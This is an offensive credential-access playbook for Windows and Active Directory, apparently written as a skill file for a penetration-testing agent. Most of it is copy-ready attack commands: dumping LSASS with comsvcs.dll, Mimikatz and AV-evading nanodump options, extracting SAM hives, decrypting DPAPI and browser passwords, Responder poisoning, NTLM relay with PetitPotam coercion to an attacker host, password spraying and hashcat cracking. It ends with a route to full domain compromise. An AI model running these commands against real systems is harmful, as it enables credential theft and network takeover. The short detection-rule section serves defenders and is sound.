Credential Access

Credential Access Knowledge Base

Credential access extracts authentication material from compromised systems and network traffic. Captured credentials enable lateral movement, privilege escalation, and persistent access. Always validate scope authorization before executing credential attacks.

Quick Reference

# LSASS dump via comsvcs.dll (living-off-the-land, no tool upload)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\out.dmp full

# SAM/SYSTEM hive extraction
reg save HKLM\SAM C:\Windows\Temp\SAM && reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM && reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

# Remote secretsdump (domain creds required)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>

# Responder LLMNR/NBT-NS poisoning
responder -I eth0 -dwPv | tee responder_<TARGET>.log

# Password spray with NetExec
nxc smb <TARGET> -u users.txt -p 'Spring2026!' --continue-on-success | tee spray_<TARGET>.log

# Crack NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt

MITRE ATT&CK Mapping

1. LSASS Memory Dumping

Mimikatz — sekurlsa Module

# Dump all logon passwords from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz_<TARGET>.txt

# Dump NTLM hashes only
mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit"

# Dump Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# Dump cached domain credentials
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

nanodump (Stealthier LSASS Dump)

# Direct LSASS dump — avoids Mimikatz signatures
nanodump.exe --write C:\Windows\Temp\out.dmp

# Fork LSASS process first (avoids direct handle to lsass.exe)
nanodump.exe --fork --write C:\Windows\Temp\out.dmp

# Use invalid signature to bypass AV file scanning
nanodump.exe --write C:\Windows\Temp\out.dmp --invalid

# Parse dump offline with Mimikatz
mimikatz.exe "sekurlsa::minidump out.dmp" "sekurlsa::logonpasswords" "exit"

comsvcs.dll MiniDump (LOLBin)

# Get LSASS PID
$lsassPid = (Get-Process lsass).Id

# Dump using comsvcs.dll — no tool upload required
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Windows\Temp\lsass.dmp full

# Alternative: use cmd with tasklist
tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Temp\lsass.dmp full

HandleKatz (Handle Duplication)

# Uses handle duplication to access LSASS — bypasses PPL in some configs
HandleKatz.exe --pid:<LSASS_PID> --outfile:C:\Windows\Temp\lsass.dmp

# Parse the dump offline
pypykatz lsa minidump lsass.dmp -o handlekatz_<TARGET>.txt

2. SAM/SECURITY/SYSTEM Hive Extraction

Registry Save (Local Admin Required)

:: Save SAM, SYSTEM, and SECURITY hives
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

:: Transfer to attack machine, then extract
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL -outputfile local_hashes

Remote Extraction with secretsdump.py

# With plaintext credentials
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>

# With NTLM hash (pass-the-hash)
secretsdump.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -outputfile secretsdump_<TARGET>

# Extract only specific secret types
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -just-dc-ntlm   # DC: NTLM hashes only
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -just-dc         # DC: All including Kerberos keys

# Volume Shadow Copy method (avoids locked file issues)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -use-vss

3. DPAPI Secrets

SharpDPAPI — Browser & Credential Vault

# Dump all DPAPI-protected credentials for current user
SharpDPAPI.exe triage

# Decrypt Chrome/Edge saved passwords (current user context)
SharpDPAPI.exe credentials /target:C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data

# Machine DPAPI keys (requires SYSTEM)
SharpDPAPI.exe machinetriage

# Decrypt saved RDP credentials
SharpDPAPI.exe rdg /unprotect

# With domain backup key (extracts all user DPAPI secrets domain-wide)
SharpDPAPI.exe backupkey /file:backup.pvk /target:<DC_IP>

Browser Password Extraction

# Mimikatz DPAPI approach
mimikatz.exe "dpapi::chrome /in:\"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data\"" "exit"

# Decrypt Windows Credential Manager vault
mimikatz.exe "vault::cred /patch" "exit"

4. NTLM Hash Capture — Responder

LLMNR/NBT-NS/mDNS Poisoning

# Start Responder with all poisoners active
responder -I eth0 -dwPv | tee responder_<TARGET>.log

# Analysis mode only (capture without poisoning — safe recon)
responder -I eth0 -A

# Capture NTLMv2 hashes to specific log directory
responder -I eth0 -dwPv --lm

# Key flags
# -d  DHCP poisoning (WPAD via DHCP)
# -w  WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose output

Responder Captured Hash Format

# NTLMv2 hash format (NetNTLMv2):
<USER>::<DOMAIN>:<ServerChallenge>:<NTProofStr>:<NTLMv2Response>

# Crack with Hashcat mode 5600
hashcat -m 5600 responder_hashes.txt /usr/share/wordlists/rockyou.txt

5. NTLM Relay Attacks

ntlmrelayx.py — Multi-Protocol Relay

# Relay to SMB for command execution
ntlmrelayx.py -t smb://<TARGET> -smb2support -c "whoami > C:\Windows\Temp\pwned.txt"

# Relay to LDAP for AD object manipulation (requires LDAP signing disabled)
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <CONTROLLED_USER>

# Relay to HTTP (ADCS web enrollment — ESC8)
ntlmrelayx.py -t http://<ADCS_IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Relay to multiple targets from file
ntlmrelayx.py -tf relay_targets.txt -smb2support

# SOCKS proxy mode (maintain relayed sessions)
ntlmrelayx.py -t smb://<TARGET> -smb2support -socks
# Then use proxychains with the relayed session

PetitPotam — Authentication Coercion

# Coerce target to authenticate to attacker (triggers NTLM auth)
python3 PetitPotam.py <ATTACKER_IP> <TARGET_IP>

# With credentials (more reliable)
python3 PetitPotam.py -u '<USER>' -p '<PASS>' -d '<DOMAIN>' <ATTACKER_IP> <TARGET_IP>

# Combine: PetitPotam coercion → ntlmrelayx relay
# Terminal 1: ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <USER>
# Terminal 2: python3 PetitPotam.py <ATTACKER_IP> <TARGET_WITH_UNCONSTRAINED_DELEG>

Relay Target Discovery

# Find hosts without SMB signing (vulnerable to relay)
nxc smb <SUBNET>/24 --gen-relay-list relay_targets.txt

# Check LDAP signing/channel binding on DC
nxc ldap <DC_IP> -u '<USER>' -p '<PASS>' -M ldap-checker

6. Password Spraying

CrackMapExec / NetExec

# Spray single password across user list (SMB)
nxc smb <TARGET> -u users.txt -p 'Spring2026!' --continue-on-success | tee spray_<TARGET>.log

# Spray with multiple passwords (one per interval to avoid lockout)
nxc smb <TARGET> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success

# Kerberos pre-auth spray (stealthier — no Windows logon events)
nxc smb <TARGET> -u users.txt -p 'Spring2026!' -k

# LDAP spray
nxc ldap <DC_IP> -u users.txt -p 'Spring2026!'

# Check password policy FIRST
nxc smb <TARGET> -u '<USER>' -p '<PASS>' --pass-pol

DomainPasswordSpray (PowerShell)

# Import and spray (auto-generates user list from AD)
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 'Spring2026!' -OutFile spray_results.txt

# With specific user list and lockout awareness
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 'Spring2026!' -OutFile spray_results.txt -Force

Lockout Awareness

CRITICAL: Before spraying, always check:
1. Account lockout threshold (usually 3-5 attempts)
2. Observation window (usually 30 minutes)
3. Lockout duration (usually 30-60 minutes)

RULE: Stay at least 1 attempt BELOW the lockout threshold per observation window.
Example: If threshold=5, max 4 attempts per 30-minute window.

7. Offline Hash Cracking — Hashcat

Common Hash Modes

Cracking Commands

# NTLM hashes from secretsdump
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt

# NetNTLMv2 from Responder
hashcat -m 5600 responder_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_ntlmv2.txt

# Kerberoast TGS tickets
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked_kerb.txt

# AS-REP roast
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_asrep.txt

# Rule-based attack (more effective than straight wordlist)
hashcat -m 1000 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

# Mask attack for common patterns (Company + Season + Year + Special)
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?l?d?d?d?d?s'

# Show cracked results
hashcat -m 1000 hashes.txt --show

Tools & Resources

Detection Signatures

Key Detection Rules

# Sigma rule indicators for LSASS access
- TargetImage|endswith: '\lsass.exe'
  GrantedAccess|contains:
    - '0x1010'    # PROCESS_VM_READ + PROCESS_QUERY_INFORMATION
    - '0x1410'    # + PROCESS_DUP_HANDLE
    - '0x1FFFFF'  # PROCESS_ALL_ACCESS

# Responder detection: unexpected LLMNR/NBT-NS responses
- Source port 5355 (LLMNR) or 137 (NBT-NS) from non-DNS server

# Password spray pattern: >5 Event 4625 from same source in 10 minutes

Decision Gate

Credential Access ─┬─► Lateral Movement
                   │    (use captured hashes/tickets to move to new hosts)
                   │
                   └─► Privilege Escalation
                        (use extracted creds to escalate on current host or domain)

Next steps after credential extraction:

• Valid plaintext/NTLM hash → Pass-the-Hash via CrackMapExec/Impacket → Lateral Movement skill
• Kerberos tickets → Pass-the-Ticket via Rubeus → Lateral Movement skill
• Domain Admin hash → DCSync for full domain compromise → Lateral Movement skill
• Local admin hash → Spray across hosts for reuse → Lateral Movement skill
• Cracked password → Re-spray for password reuse → additional Credential Access
• Service account creds → Check for privilege escalation paths → Privilege Escalation skill

Bundled Resources

References

• references/lsass-techniques.md — LSASS dumping method comparison (nanodump/comsvcs.dll/ProcDump/Mimikatz), stealth tiers, SAM/SECURITY hive extraction, DPAPI secrets, pypykatz offline parsing, detection indicators. Read when choosing the optimal credential dumping technique for the target's defensive posture.